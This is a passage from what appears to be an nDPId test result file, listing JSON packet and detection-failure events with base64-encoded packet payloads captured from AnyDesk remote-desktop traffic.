gDx07bMgAKdWUTL7+I0S9fOpWlxsIj0FQ4arZv7Z5anQ9sl797ZnvICf4FwJBaEAJqMjSAJ2Pq+0hCQRb+jRZLLTRXgKuds3NtNBSMkL8gLqupW35gZeaF0dHM4IVe83EU2aBE+eFNUIlT0pbqh5T+h8E+SXlS3WddHvAKpXKnJIw6QF4JKFFiXmTfbB4Xp61WJb0W+jSfkuAFLhn5zLOtsoktneSfKZOGJPs6YwYuNCBO2d8ka\/rsukmEpc2aeQgAj1LIkfFmJd4lyXJwPEA\/KIfbfTTTtfHuW9wmkg9dCq4NFCYZBsggOpYDVsq4eRX1zACxTcgx9cQGj8qcU+HPEjoNCYDU0\/xRgMbxgDw24RvzYRtNHrA2RQS4597USDRjQjzXziGast+VAsFRNVS0z\/n1o9EpqDdB7jEGzvSLjUOhsaCDatV+3FCtTMqvxn2tv7Z41xnIMAbaCoiAQtr33w="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2105,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4504} +07827{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2109,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":76163,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhPdAAIAGAADAqAG7wKgBstOUG56PMctBWcRHc1AYIBOExAAAFwMDFXlZ4hNO+msW\/K\/g0g35qcirabnQPstoNGtT7JgWJJSyZkK3s7BAZ6g\/8MJqsiFufiyF5pX9qYY9d9i45CLh3vEGPMPHwffromLamjTbek+DjY3atsxlBCk1tRtVISeDkm1MpG4bo\/zrTo0+7NytTnwUOQVJuojE6STbWqzQTed2ZSncxLDscnORY0WDZS\/6etbNX8yqJY+9ClY\/s9\/hOZDb3Mit17ofU2bWaYm+LK2gjX81Dtphos4GMtj3q+AhzR5yEYT4vpL+VoWa1hof7Yk4DUG9DlSmkju7d99eT4V6ruOkxsvf2UQFZ6BIlLze0PdouSoAtx8yCUxniiw5+e9gI9BryUXKqhegZ1smoeMBqOc6xIZpntSmlgD2jbv4fTDT+E9IZOld8fp3E6gTJ9FRP8\/bzu\/nQH0MGs2KOe0qGQ\/0+zQuCfQtrBpDkIWV3P\/aexrMlofdMxTjU1bxUOeggx7+rJBUIhi+hDtTTTx3GobyxokezkSpSycXr1dLbuJwG9GsK0hUjGvE1s4VXOusbck9YJaGP6UCE6\/OnggdHV3RhYOgJxR6tyIhL8isHolxP9TgtI9bs5EKl9eb5jreW5Tct\/rbrReavbOmZs0\/aCiWfKdg2aOKIFjPSUKtk+YJ4nX7lnwM8TVJrKRPnRI6aTC1pirjA1yIoUrUjcRJQFfAMhwX3CpjxBncsKIcs\/RNrPw1J6\/\/TE6CYW3+KDLnBUo+kMrjzgkLDwgjFoADpEh\/0pYwDKEtdatg5iFwe3\/HsULAAPNQIFpHZY0JgiHbOjEpJMTOJyi43sNfPK8FUHPswF4TywJDO6fygmssvOsDOW9JoRq4iKJ+5SThU65fFZ1bKNfgBw10w0CPKSClAvj+SGNTL+KRpgQstMr1bR0xtT4UYjRr6RO+HrG1\/Gs2m5EwkfhiTEzC+WSBesU5wZfeabvBt7eIpvEGjvtcwCEg\/Zn32a3pacZmw2h28EQyUzTZK\/3iXvhdy+NmLrCZCPbeDJNGSo6KYanYvYvo2+z0A5JqtL9ukK+g0sFzL5sz4dFAWydb\/lbeacMq29tmTlXIhcMumW51DYdeMfKzP1tGmVMcFVZweNZrWvWewEtYBpwvpWrqydAroKqoF8AJiJ4teOKKM0PKEUeVled0ZZoivOnbMWXlRR2lGoxx6hXdI9b0WD1bzOwOZQF7LsW4dxcn\/VpGlGJ++8twHgfx9moem0+Q9c3+6ehfpRqS1mFyKCCLZA23BExgHzZC1upOnrFfbFPbOVf3xU36Vpwdbr\/Nyy2N3GZt34QgaBabeBXeicgCbh8bsaa4arpvH\/+dXlejMC0Q9hM7j2L49sIE6KE+MTa5+Zce+RpU6X8LWdVFUEUxnIsKG9fx5gvHnLr1ChleoMM\/G+oUHZIZCklFbFdpYrGv4ZDzDBKLbosUtGULgYKNrxcdhsvht1usjNALxMvrsD7BAbA33t\/pbscBfkkZ0OKpd8p4dSDkwFlUqZkmE+axQ0ck+aBIZ65DxQlfvK5ofoknMJAYjsKnLYrk1zfEsXIYxHMXDayW0gYFssXzKWrOpOtISH+XWbotkboc4o7t1erCuTCz3S13273e1wX0XFdxIszseIDvNy75+gHzkMHvughumYUZi5wD5fdEYMWmJqmmyC2q\/U1g18ozOA2WsM3Ycx4VCMe9neLRaO5lX5++Ugxx6UoPWRn0YNgeLBY8SPUya80krRDKVn\/pJkQZwpX9AygAF+s5cMr2UIRBIgKyvzOZco8TVJOZ2SLNAubNIG6Qs8UUm2Xni8HsuLaNCE7Sc9EOFqqdQFK\/RymNtefOXnFZIH0MZm2CaK3nI\/jDjhx6CiNBis0nImxT2l57JPPPdVOld8MZXMKYlbWQxKd6XkTHYFRzSAFGqdYlKbiuQ6+9nLoU1ZI5vdlGOXdTuKwJZWhcRVZLPFVKcP\/Rrrd3tC0XM7tY7rn7XtPXN7vIQh27lFiFk\/Vjm\/EeDDNmvs0stQ6wTjne1eKwO7gdlIBPohdp3prHQcQJmodUvDvwRfKNSrBMODFMlHazUw9fhFMu3DeuVqHsqKImRrcMsENRnu88m141iGKb4jbgVW0f7qraKSzYlae+unyB1Hi9wNJFvd9yVy0qsKgwPWUcf+tfMzqMkg6AdijXEVik7A7Tp9WcMWUv70u5Yz2\/1GnAKQYbQKCqPx6VycqwM\/ofL42GnVRHj9T84ZT8Jym1fnw5CAGrJmNdgnN1LK+wKwwG8e0KULfvv1TR294nSEb+t6Kc1WB2LOEoX61rnvyTGWuPhQKYB+JU1cJ6qomOLIxgfcXCvz\/VmY42WS+hNUO3px1dDz6kjrhGNxc\/3RHs3De4D5mhU2bf6XCrV7+PHbnRDMnwUwL8DhBJHVvHF7mFSqfTv5pazMvErG6mG+NT+IwHHfDtu1F1cFKp9TLs8lMrEZp+DfLEAxn1tbA39UFVPUDDfodIJMrhaB8Zxgz77kQM3DZa6LjqRHokY5TNpPLF9vkfYsPeiQjJRhpVdhDYh+9TbYFD7rkKgKQdYkX87mfJ6SWUUtAcmjlwsYGpC89m+JT3R\/YBz2i7\/bYOT0jf5ga7i50B7SRZgbho7Df4IoLdLvqRZY4wdSlWW9auw0SLsBkIofuMTZJoQsmE9dYzSgag8UYIxCNpwMEPMF\/8d5wF+DgMmYfNrhEoh0WagCTCAQoNo95HmQ7rB3AV5nPe0S2t\/MY0apTxvCpfI2VSnqOwWTxbC7q4VAD\/zFkMl9jmOOyngZOew26Rw9k4tBRwuNmrffThzp+VINLs2VtNbKZRG2O4OjiLo0arzli\/rxXu8T2J+SjuT87p4sGjpLdViC2DbYwymNgxNSSO+bDiIE1asaNDY6nisF6sGmG\/R+RW2QbdFMmME113t\/K5oiX6iuimjB2JagZ+iOwYMwuKBnaKyL7xc4UxwYRm7mL6OVuc+v4Wcms9DnS26pEK8FaulQnyDXpZylVBbP99kTtwqSiDnxpZbrD0SKwkokWnCJG5OHnymLo\/VUUFkdNFpv7AO1EFFpLOs2tSzCoIl4FnBuN29ys4BMZfoa6KQIs3kdqcNwc1XOphc0Rzpn0b8R1B2VI3rHQ9EJMUT0p7AXQIJXZgIKQzsfJMTyptm6uxf5bhgkxdBmJ50V24\/tuDPVDsHUddj4cVRhm6xVTYe9vrSy3mqTo7UQudCX4TyLeTzpqlDpwgMX8z1rDGhfikhevCRHDABDMexO+eEax9aNYl20jG\/mPrBudDL44vUbG4eqxOJ0bUKXpWRl198x1DQrhHXlEu0wuPSEaPIoaIUzeBxpCehLfPMWImMP8RCBJroCc18qGK5JH0QtDYdTs6V7JVvUpvkkbGmByR0iPbamf71PQkO55bJh+B\/VdhIUYlSHALjXnfiVvhcS\/zzFQRjpugtL9Tv5VCz4wSDsBn9ed\/Sc4Gr7Rscc+nZr3E58hHIbc3I7Jf8epwE4\/WHkpJ1Srumnvak166eNybq4k3G6pwqx3h4ceb9Dj70uHtsOV1LZkV+eIv\/EruzqxagO04ZaXnGzsech7wMwxW72cNYREqvf4nOnXUCax4cxyfLkt74VH2Jev8oROvJ2OYbjZ\/yOVhf9nbu578WGUfndmXDg7P0k6nVrY+ALgRljXZyOMImOFXH81X2I26+SThwNZrFQvvd0ZEHtIBhnmjB6dqCZ0NGg+1DBEnApnHeNyKJ0u9wDEzYSsH2o6VQ\/\/BpHsnkUdXdxPZ6pj2BBCmMUM3Ie2Y5PsoWehtYNEwYzMpaglTvv2U02mHDxeQMUM\/1U5KE52fY7nmgWJxKIeEbyWkjZQXmq6PyjChf55ouDOtcfAMEAhrRbqoUc80eJwo33pZ1QoFp86tBYxn7DBzc\/y\/Tbr3lFMnDyCx74q8U4X5E4D7a82THVMhj\/WGBN9xqvzdeNZY23IlyBl3iE\/+uFTZ3ETsbdOmO8vAPYLpsfR23YobmFB4aWyHvvVBckUEH74ROhI\/i23f6eXTjKbpDrsPT2J4fKDBPLVa4DZA5zsUBd4gHdrbmqnqgPqIAza36zYR+w0LEaNJ6UHRLTZ0nRjBEuUfONl\/mnXgm5CI9OdxL4YncocAJehIJgAj9K34ZHjNH3x0qyE62hYyP7IweXTnWZuKHdn2SxJ4OKRSNVnqmvK\/4jWC90\/oxkBuzmemokWDk6LYQlMI4keidgt5D770kScUroG2VnbHRJBQsSkKmaDqYRL9Xg\/RYE0WHtiGDTWXMUcSVCEfQImGzcmmDOe9gNCk7X5Oo8STAxqyrjyf6UoSNTXZErqI7lQ9qxUJn\/9HPaDWvoPU\/ARHVdXx0ARSMGqCrHABbloGzv3gQgn2TPoMIqrJysjMASH37agWHStWbCKbHVWWiI9fFoRCdrr+Epx05HUAEjjTsACA4o1NGiu5OITDFeEU4yrAkAIOlfMrAOn72AxK5DA2N6AsnyZlLz22XB7cAc9dmAjL+4ScjxoFfALs2vfFYiiWZ4+1TR2CNoHhy4uAqmtK8bgzXh7ixT98nhQykfSS+86YM1SrSqf3dwtv4XTeaWlRtVdOi0BsdDdfUFePc5+rBwG+b9j0gbEB\/W+NnhhrNbQmC6qE3iY2zmVfSPbgoti9sDv1L+rG9CHhgIuxxY0nMxgIAZhlUCbIjQg51wmtNnOFBWwuAN9z6\/rhKQwzJHjs8ev+acLr32ND8bt\/0X3StYdUxUpeDjdHKDb8JeO\/gnz75ozPwQfI+pf7DiS4RnQXHcVfLIhkcrLgVkQiVrAawpirHDxpbcA7+DA\/dXAfnQBPJ3zfirHTLbPCT65bbG80itZkcS1qIeUjh0tky8S6YIOEdCz8hbStBHKp2n7ezi4zz1iDt+d0p0CT15dj\/u3SQ\/6RrjN0uT\/31CrfSHF321HA7phfau\/4XRcdoyI4a8bygNeWRIeFOVYfu46\/oXoyUDqoJeKRKTQXF8LQ91weiA2z0GwV4lwsmz1jokucZkeAq\/\/XXenQwJElTEOTtWJSL5ppsn06QVRYBzJCzmvBxUFNpKGfJEz3cC9qcyjrL2us1O\/pbpEEzH6UztKhPy6+5bO\/1szBb2tgf5GnR3UeP3N0FNLoCX9FRdPqezZqveq5eXLLNQOZ+Gjg4qeBIbOQxBcS8q8zd04x\/QTrBVdfhhauxeEuS0\/wYU3puKRDDOXHk7tWPNF+jhkZvSAUuK7A9Qsovo6CsxZ8duRkpXac2HolIolkwnb12RFqJ9blxRkkOFKOk8N5SfzPNXwfM1KUnSs\/7vLkU9fspL8NTyX\/vuJ7IIZzRkzV9NcwPQlT1lMv8PmkJtkhJrkGyHTVb5\/JITmAYInocTPA9rN6VKtKAQrdlKyYzDS946kADKZh6IiIkCcd8IssakMeEB3hBIzbCD3nQDT\/RyslqaHa905re6ySjTNUXHUuzsUf1P25YwldKV\/0asRO22\/CE1F4MuLua93xazLdVeiTvTDUQLDN\/PutBEwK5A9kzYGOBQefo1ngV17S5xJ6fuQRnrGMf6\/X5JoiesoI9Rl\/QX19Hw48xcQcpKOcKcnTRDbIJO47Suy4ZPpevYHPc0RUu0jwRAR\/XQTutm3jUpJhFNLXNzeQdNu+m4sPAXOHH4iHk5+Ejh3KweS0vvDK0VSSiTJhuhVk4V7KRH445ZLeSUIcd4E0\/zYLMTqL0ntpgnsk16hyMx3aVJ1loCtlUBY0cQMSuALFy1855xgt0tc5umFHq4kFGtWj41htPpjEND2jR7+IV80BB01PehbLkhJbMZkV3bB4XDyyXERJkjgusXnexBX1yHrjq4kW3GaQE3kP9JTfGSYDmC112rETYyGUxJvJI2eEpdBWz8rsYQoDioahxAykYMWeA5xBTBqWCC84Dji0tbm+\/LfZZK7RYeXeseUIJkR\/qIBtjE+R\/kYaCMJBJwHqfNQGh0joCpflOO7Lw3fTyZTJr5VoVSK5O5xjB7N1zT5t8SKCgErg9+L+PrUzD5UIdfF7g3SIOD9j4BS2uwokyv6aSzUazg02p0OE3NSHI\/Zy\/hklwXEIZYQUZ76p3kLyMikEzY9g72125a3clbQWGh54RsiT2R\/30S5QoN7nHL2ouOdzhgpQLD2cQI41cs6LOB5lnIPLCvLg2IT8Q0rKzCrHniCjHZgSgR2fTw0BC61WJ4Q17Ok13aRsxXoUVQTdNDnV4FPtYbrPJDUTYHVm2LGQ0ArZORRhfNZm8K6UFP59tOConnEvfYeoj1bHIt8kLCf4OZMbYclfjOCENRLijU+QcTFIf\/6AoNfo764jkDNw3tceiUkHJ0awjNpPf\/+0cE\/zQM0bRMIWHao5BQevSeB4qqkj22iAY8chukXZxucS0JRvWNRyfBk+R3nZChrVbDqNHPhN4zJEBI9C2EVRkEDGzWid\/v6039kHenlsILlb3qHLacSy11WVyYuKulKu3wLljyPmLZFnYRPrub+Lt2ursBnFqoSiR5IHrBIklxTaWbJsBaySICBH2eCfezf7oE1Y1xYlxZE8uxvS0pXbAvvDav\/HhCBwMFEcUN3Hy7Z8Ia5fG3FA1jBYeuAGmtYWEJ4myhUh763gYe6p78Zs90da3+Lp8lR2W4HGW65M86Cn0KURdApWUdS11seCONr27BcVmmLPz8C4G5IOTFOMGhMFMSJxTJKoSSutwtT9pYFaXbDqu5pE8bzwuZJBiYKNsuV+IYO1AT7N2G35xHQjN9348KI5OSrr9xt\/Q9mx+ksUHJNMrPOm8BDmET1i4JXEiF3uTl+O9U93J9kLKUngIo3qT0pntGW8u7LTyn4opzF8zTLhqeT5JSR3zy+Hnxc84v+sDlmAOXDR9kKDhWT4rnRaiMSpd6+mVxk\/BgRTMHL4yNUZG+FMcc5Ld\/nINFJt9wcbDqouhtaL6jBiT8fW1E9vHp\/LwSCsjeemjNx2+dp4TqsEYVa4dcxpB65MsE0YpuKtwvEM0tkBqcj3mHBwr5Wfyq1qZ2Pak1AtQ+cIWVmo9SzfjN5fbwgrD\/\/qDqXrLAbJjZK7f3Ksx4NuJw4ePjeFexj0ajMBdqTG3GUAgEaesmhzPkyfDLpsz8jTQKljAxf2Otlhr\/19BrAlgx5H8ghI0q8Dea6Hhdsfb0GZn+2aHJuIbYxAhb7IpLkDloN3VOjk31FBzb7tBW4qDXl7kRpGnaeys7FF0ARNEg+wQganltPRAEAo4OBJKlwH1IVQqaCbYMt5KarmF6ubFtT4MTA1Ocyt3BvLxtoF8F+hNzybo2hsnBIAoXK0m5EXWfcoqAxx7ETOZE9t5T8hh9ZiFQFtf0RGyoMut5N62WN9wHSmSJwZZhAJFtOoTD5E7aqajezU"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2109,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +05462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2110,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":76202,"pkt_caplen":3802,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3802,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhPtAAIAGAADAqAG7wKgBstOUG56PMeC\/WcRHc1AYIBOExAAAFwMDDp9Z4hNO+msW\/YtGYCqraMqS2E+hDCPk+Z2u4FRnoD6UH2FkkUDa7IXLyk2yS5OoTzF8WigK2gsnF0F9+gwHqWNet0R2L7JofOjGRClTGjGPEYc6WW\/JavQLODgLfKgQbyAC6cgSky1PXlQva4LemO8lU7IWsFyHCOiDUrTAHo9FQN1RgCeoAEXjzT+WEL5Z+5vwGkF4NgysMi3XThMHwlSIrbi+fn8RiTPTzSxhGvJf5XXYUCt0WdjuCrUNcGBmnj0o3WUTwx\/QQBhcx0cafRLqe2\/exErs2tYDpw7CmXdw5SbQCsMKNc0gioj1AXjM6kgek0Ydet0KeJwENod5SbI0hMjfqmmq2o\/+xOufisP3TTitkpcl7uBSis3HjTofoQ8Mq7c3rpgZORi4TFepvt2I98wB27sX0NB9VJP5BYZoETca8\/FMc1khuNcGqR9bkR2LguxTZAKJFhXXfd7JD4MX2uJlkGF8O5r04KRgoF3c0G+nV8\/P3eXlKXAxICZiiMHUslFS+t3uBf\/gVEHyEqTSKp+2R3j4o75QutVLlJVO8Yxn3P\/ensVwbOtb57enrpsCe8+nNDr2uN6pS3Y+lGd29\/W7kOWTHDqecbMEJG5znTIMSMaarJmjjD5Km2s5RDvSaj+X4y9ubj\/NYSD35BpsM7MOc1R0nbprGYXOy3X+XEv8RjPa0ttu8JztODVXuYdArZehFFNMdlFMX39lVkdMj\/\/TxwVws9lYGfFE+AEOsneTKCeitU4IjiBPbLOQGN8Cin1zpW1UO259zCpmCwhQOHIL4wFe9ZP4L5u7UvcoHyV6lTVzBblk+7T5pDU6hFZ2iII6Glxwj0YcVe7COPvFpLVeHdzV18OhjodfyOpuADa0PGskSIRnvTe\/zKbWC5d7wMg1wxrD+beBxvLRWRXdpo8jEIINDJ1ECGSv460HkVkNL+yKUYcQ\/FEeZeXr0TS86IN+yUK\/TnRGnF2gtDdjALaSAsArfEsOwJa5XQBMnYi3LcENG+RWx\/FPMTCMmgEgMC2WHAx9hKVIaVpkD8vqkDEtHVImq3BPYPxgix7EW58GyVPFaU2pSDztoK6JCf5kSVeLP6XYK1n5o80w3t0fHGJUEIeLLE9NIGXw2uckxK0p3JIzc3DZx3SjYW8txD9MjZiKYe37ct\/3xmCwOkiDxB3Eoi5y2qGuOACxZX\/QBCHRxFX4brHGsDcBCbeZrjd+pdnHWljQOomn9NMhMRGdNVQv9+TiL4h\/e6qVRKx1xVpdgfcifsp\/ZaFjZ2Ku8EDKPFJGKsN4DKkQzwo8YCOepon1KwwuoQrWE5jKQZxdnRXZHTEuSMb23nzDKdgjMmLoOviSDsBqNT4xVAxhsGQTYtF+20nTaDcBdvbqqAbC3xTng05dSD7G74CuDHPzIQEvWASe\/+fo8JpDVVhXsKIP5dKHoeDq3kw5H1MUFQzKvWIgGRdEvthGYGASSwFnJrvzLlCtSvJhg5tAlmgz3e2gS3FASZBCsBMuOmO9Fac2efLbMyer4yesYzlihAZ5CENYQWf5\/ZJKNZP8DBHIFWSRlMQSphxPXfDxkxFme51nZOUCveKiujkcXb\/\/infCXLXaDghVZAN2w9HO3HUEtTpGD6vslH3Qi+roBiCTsfwJnhDSdE2UcQ\/wbnbDuVQ5zRfBK2JGZPTiOwLmvZeiMwK7r4GhRlkemcF4Dp5RwYgWZ+KTuB0F3JgK6EF1jKu2r9+eXa8c6kdGVEA2x8ejx60YGOkyPFpqAklM4\/HpC03CR+PZlaUyad9B0BTeIxIK9f6hkLZi3FxtdnSskXAEfhZSqPg89rol\/Hfo5PtW5pm0OWqEmbw33H3XvzL4KEQ9QXB7CPByTlf\/zmYFPssgpnEeYT1xNiTssx\/p7kGHiK85\/jCEbxtT0jnr+4k65OgmFVMj5OjsYbEbYfcUWyDr8vL+PxxjcfQKbCyIqMig4AxekjE\/bhSb303P75lDYjOwNCCiJ1JvhJJon3gT5Q7WqFOYGNOdckXwX7w9nRHTs6y6rdk\/EScwcOHdstA38RLJYyh6MxDl+XBdiV\/ETqQjMNcBxD8OS+IDGi52VEJbdKvE2RiYcO\/9YpQtTMPEnJi+e9LkBZ+xVbE3wfzg7OFGFJ\/VRK3OniKE3TI7ujQ0XUZIPv1vn52xGjlP9iNm92amSx0Jrq+3tIeuPTHUvmVtvAdhuwy83U0NOU8yBBlZWvjgMD5fsMzeR5FLmDk6RZ2hEvOHQklV2DKMOIPOixvdxaklR28J8h0XAO8THjs80L3YEuuAeoaHDKqQWX+HtUOgzVX+p5jkyF9NahwEM01WInkTJn4XDLcmW16HBXQ5r0Wu\/KgLgALq0b0\/Q9tqd8mWWL29j2yzwJf5l4w4z\/D5ZPYEuZ4Ya1uVX0ea7C6ZK1BC4PW3xhTcjo6wuis6NaQO8C6\/0yQMMXND3GKQsd15YhYuEKsQzLu147uu8dWoWvKlaDFHLJTuPJIHMrxk5vk4aV2EOl3fsgHuldkDRaKAkYPvvUCoDOSFXBrEKc0znvJRy8hv51l0BHIydxhgm+KBPqJSN6ccwitHXNJpLUR8eRRdhn5Rtt7xlZdANw8ezPuw6JW3RKgCeM9qjZQXEDb\/ETHb+uyGCe8vh0psynHGLKKEvfcZhsQJtRb0E1L9ja0FqeZwDfHZyZKx5uuGYYYdjWmuy4Nfuvz0+JlguM6nRYNH9V18muJv7oIHLmeLy2hS2zCv49Kgk8cl7lPAmYjttiTnqFBCTvimgAh\/47pPfqGqqF5IObC7lsVcwIAjjk0JdV0KLotstcr7AZSvDO+u7YVUNftvpMZ5gAJ2CKdQXKUY8IvOpsujm\/nB8rpyA8mMs47EkBHSSQIKQ8f1+oCYvVQPm4qKT4E5OZygES2gGuil1i7ZqE\/Z6wrU\/CD0WTNB+v3o1Fa1chq5aLGdSqh0En0KSvtfxlbiK\/orecKoXBwTS6Kqe42gkD442RD0lmSkHh99pmeEB8zaNnSWdg3d+Iv38LY\/SpmwqfuwkkDnlWyXW+Wmh8\/AeavQ+fCKshLgoSz\/skgCjS+r0rv0BP+yulTuFkdgB1fcTtycD+33lJj0\/J6KoIEV8bRX2f3UHeFL6VqJ5kvwrBD9ZoNpfmOzwTBd+9VxXtF75+zgPnwaAguQvC75AWHEx+4brjW+9QVM1eYR+\/XhSnGXc5Ku7\/v4e\/U+tNFQx6QQ1BqHIqrh3oZtqHZsKyqvc\/itfSYmslAK+iCeeX15tlLCxcvznQzdXKkCYw8XqdPYEbK4NMx5KnMQRXH16zLKwtKg6iOCI1dYZlDtQaaU0E0GiH47dnKA7sf\/sSNZ8BiWX99cmKYc1bDGOp503JiiC2F4MmQmrcAXchPHevMw6zggjY0BeBTwb0jBnr29\/0wMi9cvBDT0zz+Asd8S\/akXGIG2yM2Rf3OCdKqIBxtEAN0SwHa\/FtoRz+GFssNtdoV8IAcrCSpK\/Nnvc2FEXGE0ZR8s2\/L79Ot9r88vgTFHRumsgxJogIKkN\/SADbbk7\/m0HxjxWUZfRwDvuZutI1bCDe0X+F5r\/HpcNFB3VVw7jYV5q8Zf3RWGBCk94if+IRSM5XZtp3lZpkUL8thcs4KJnr9dnelGY\/MRVpQXxWUD85kQOr3MEIvCSqO\/LrL2bh8EVPDRIJcDevX9VbkqOEpK\/68HQfrizb9Njg3EeMlvmDqtJ13oYZQ5piboZoVMwW7wc7Q1rRE5w9XTvmvqQtMbjBTkPEl0yNvrRIzaU3dg0ire2+NJCbQkKFYtPenejpg3PZI7r749T7Jn8DvrgIgkxYUtFGbjUw+27RMQi4Pjn45vGx2Xek5lzVTnsiC3Ikk1\/BWogtePkYqSHsAEC82yPAuyVfF2qUaKPdKMYxlM1k2Xt1lIcKlkMLgjhU49Lane2SL7dOv25Oka1RIC\/oZXUUdvFzCdyTapGIObWMGykHkOY8ZxAt7oYIUC93MGiVM9GCOea5Na5KHl9ofWfIYAa4rA34O\/R4mjQIR37YbhhbMZtg8wQzkmQbDL5saYCvH9euMvmX1G1o0hC05APkQJLUrITw+p3nOaF5c+QP6qPuuUcaop5YSV+DpijAL1YtXvn\/mbv3\/EG2WZG8twgwL\/E2MYNmzS7qVgIO\/twIvanVWFkiCuJU74BsFmNRi76fNGEsM9Iuv5fvDhnWFNXY9AJqEUzusDPxLUqNLBKkaLuwDsUYyxpx8ItgCK5kpLpvbuNqB+x1VsMxbLNiKswxvBB18uCHQikGK6eIGmdAIGM4G7Sl42z3jmBe26vIjTSfGiXTeabuyfXUqr\/TedWFUidh\/baAV26AEJyKK1Bn\/XBTsHMITRAkzYUm8fAoItzNSP2cBCAjaHVXNutqmXeNuP\/+qL0AWrZEG43r8BXjJxGhwB+6IJHktrrO4Bptx6XyPjRuxlA+2Z2DFQY4VvUySQVTeZrrhUMmdhmlYy+xNnAt6vmiV+grgjNksi1meTJm1DhRnCP7BWzAjc1m7ULzeTUgQF8EOoFJlQD0sjwPBgPWsqdhlM8mALHUqyidpEzBKFnnWwkgaHNl+0EAcyRcXve37BJr+c+2fbP4IBvcv\/Y8W+qVYPZyHU5RyeCpFBj\/37d6ExBsryefju4l8gZCedjOyWTODG2VOp4S\/DF0BKdme59Eap7yzEyAjl8eBLeOHiAKx56Z457+HH4kVeMYDt5K\/Dyba7Pexuasr\/Up715FGgvmTVtu5TNr9XlsOywtur7RB59uurq9LWcaA4VjlqnrKA3wtrJI5+OxWZf0FijX+e4RHqsYPUcr0VEXayNXkpdKYA0BYooKXqCb5KSYTVZoxSCi8RJxO8++gfdAi6EZlI5spTUljLasWVWnCCejxB7vsuNF5kxSUOhN621RdGxygLbPIqPq\/yp4x5A5vL4hGE1xeCJ083EAvXEMosewsCjilRPyUb\/9wq+sTuMeKfE3VeCPh1C8Wr+KPN+\/gc++o84GifUWuU2Q=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2110,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3768} +07822{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2111,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":76494,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhP5AAIAGAADAqAG7wKgBstOUG56PMe9jWcRHc1AYIBOExAAAFwMDFXlZ4hNO+msW\/p6Qw\/8lwTxk5A6vTEgy7TRdgWDVmyy07HOEWaEg098TqSQRRz47ZfLkVLQxllyKy4Ji36jvNFqFYpeCytMwHbO9jeWS6omYabRxtCVYAhE8h9qYMxIKuLYqAXMe8lqn+bAT\/rG8c3Vm7S9330q93KeVj1n1nuYrXbMkWRAqmnew6uBQzsCuQSWTHdY7Vyv87xi4q9oXJv3WmBjOJPuVmdXi5FQMoE6bdnnpQHp6Dp5Mv5r\/DBEl2LUByhYChAsdsVMRdgi\/lzEHW8S7cl8EV7P9okOQpp+zBiCPLqanXsxH7b6NkMFE0dYCZ9eIHZ9GTTyFetY9ewJJ7oqeTUEvPOo8GdQiIeIYagXaj\/Bvcg0aQSb+eEEd+pxVP14AfYXPpqLpnI\/mTqmv5FUuJIHjlD04eqdJzuhlNfj0JfOe4\/geKrNDGJ1jQrdAB8u4yuOyFSG2l8RyT6w8J6EinnlNHvlU5XRqaatAlHegNBvgPpY6P35FPxZlQobndI\/M+HzBuviWhIVR80YK6Te4YBIVFurlGRb9\/1S0+tOO1O+axFhNOWWu3BpvlwNItX\/Ez41+0nz3VeZ3fzuc9sV+y17qyc5jPWMqcf1Qhv3Kb1qcr+ToNdLmMJiiX9nsqsKrLQM33ghivVuZG9celdH9guKGeGyYftGD7UfZUodoRa9mktUM2KvALJewhTA5bV\/KiJwuMT0gLo0Wy0C94Oy9twCLBHIyhMt1LtosDppKwoE5CzjhNbQiMv7cNrLiOqBBXlmEWtD4\/smgkdAE8Ztf0mUg3EO4sOfdvCGqiNJpY4PYcGeNpGA3NU52ySA7F4umNsG24FBmY7oA3WvNQPcnxb9WXewdjVE6bxT29UGfylPlE2olFnmb4cDh3VJQf06EN5KdnI0xROWTLC8m8YN682IdapFN9mcC2hNN65rEfEQIJ9Cs\/M9LuZU9zfaFHKB\/uQFxyBhdTNk4UtgA4KLRzSexnrhvT1ciDo6qJVec8SHKaxOt2cc\/YkNBcaQTXst4jVJQ\/7lckf61t4ls9C\/W31N6xsi\/TCUldPEsFg7TKBzoyUKkLzJzhVJTo20y4xBWAu2g6zJSrzI4ndJ1SxNSloEBifutTnrAnoatfWQF4yGUA+fmDhJDoIba4Ab0LhEP\/hAKirUVJp\/Xg1++EbDLKbUDASAncSu+QUSVTba2E5L3hqAzWloRgHPhBUxYOFMKJEDodh3BzC+a0pUl6PnS1L7Rwi5SOEr0rSJm0dw0Fp\/OtYOBA68FiaKSbBQSrBfDWH2pQ1kU4dnDtF1JskSssyy8gHOzxMe+nBujL6Y3GFdr0qD\/nSo7mSiE+W4zLj8JKz7IFKFCvHYiyrY9kNs0XrfGMf9BPeFXIs8wATBI5tIUHqvW+zUyvJmepj5b8TOVujeEk0kWzSlBy0vLXXfAKhYnlNkBgsZk5GHh75rXT1tVSZKUPKa07ZYYQ0S+HRWoJfo8KMpY2SWkJcK79aoK78sPgVd19CUz7Jf67aipr5BtQRg4gL0NzDnABg4nxoX7j1HjHfbcqfO9M2MxQccT9R8+1Q71HmIl5PcgyENo5Dljgl6dLM+STpPUHJemY\/+jfHws7nsjJWQ0Rtij7V0niHfaN9XTLKy4b\/aKtCMtOrMQEm